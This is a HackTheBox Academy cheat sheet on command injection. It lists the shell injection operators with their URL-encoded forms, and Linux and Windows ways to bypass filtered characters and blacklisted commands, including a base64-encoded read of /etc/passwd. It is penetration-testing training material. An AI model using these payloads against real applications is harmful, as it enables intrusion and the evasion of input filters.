HACKTHEBOX

COMMAND INJECTIONS
CHEAT SHEET

HTB ACADEMY CHEATSHEET

Injection Operators

Injection Operator	Injection Character	URL-Encoded Character	Executed Command
Semicolon	`;`	`%3b`	Both
New Line	`\n`	`%0a`	Both
Background	`&`	`%26`	Both (second output generally shown first)
Pipe	`|`	`%7c`	Both (only second output is shown)
AND	`&&`	`%26%26`	Both (only if first succeeds)
OR	`||`	`%7c%7c`	Second (only if first fails)
Sub-Shell	``` `` ```	`%60%60`	Both (Linux-only)
Sub-Shell	`$()`	`%24%28%29`	Both (Linux-only)

Linux

Filtered Character Bypass

Code	Description
`printenv`	Can be used to view all environment variables
Spaces	
`%09`	Using tabs instead of spaces

Code	Description
`${IFS}`	Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. `$()`)
`{ls,-la}`	Commas will be replaced with spaces
Other Characters	
`${PATH:0:1}`	Will be replaced with `/`
`${LS_COLORS:10:1}`	Will be replaced with `;`
`$(tr '!-}' '"-~'<<<[)`	Shift character by one (`[` -> `\`)

Blacklisted Command Bypass

Code	Description
Character Insertion	
`'` or `"`	Total must be even
`$@` or `\`	Linux only
Case Manipulation	
`$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")`	Execute command regardless of cases
`$(a="WhOaMi";printf %s "${a,,}")`	Another variation of the technique
Reversed Commands	
`echo 'whoami' | rev`	Reverse a string
`$(rev<<<'imaohw')`	Execute reversed command
Encoded Commands	
`echo -n 'cat /etc/passwd | grep 33' | base64`	Encode a string with base64
`bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)`	Execute b64 encoded string

Windows

Filtered Character Bypass

Code	Description
`Get-ChildItem Env:`	Can be used to view all environment variables - (PowerShell)
Spaces	
`%09`	Using tabs instead of spaces
`%PROGRAMFILES:~10,-5%`	Will be replaced with a space - (CMD)
`$env:PROGRAMFILES[10]`	Will be replaced with a space - (PowerShell)
Other Characters	
`%HOMEPATH:~0,-17%`	Will be replaced with `\` - (CMD)
`$env:HOMEPATH[0]`	Will be replaced with `\` - (PowerShell)

Blacklisted Command Bypass

Code	Description
Character Insertion	
`'` or `"`	Total must be even
`^`	Windows only (CMD)
Case Manipulation	
`WhoAmi`	Simply send the character with odd cases
Reversed Commands	
`"whoami"[-1..-20] -join ''`	Reverse a string

Code	Description
`iex "$('imaohw'[-1..-20] -join '')"`	Execute reversed command
Encoded Commands	
`[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))`	Encode a string with base64
`iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"`	Execute b64 encoded string

HTB ACADEMY CHEATSHEET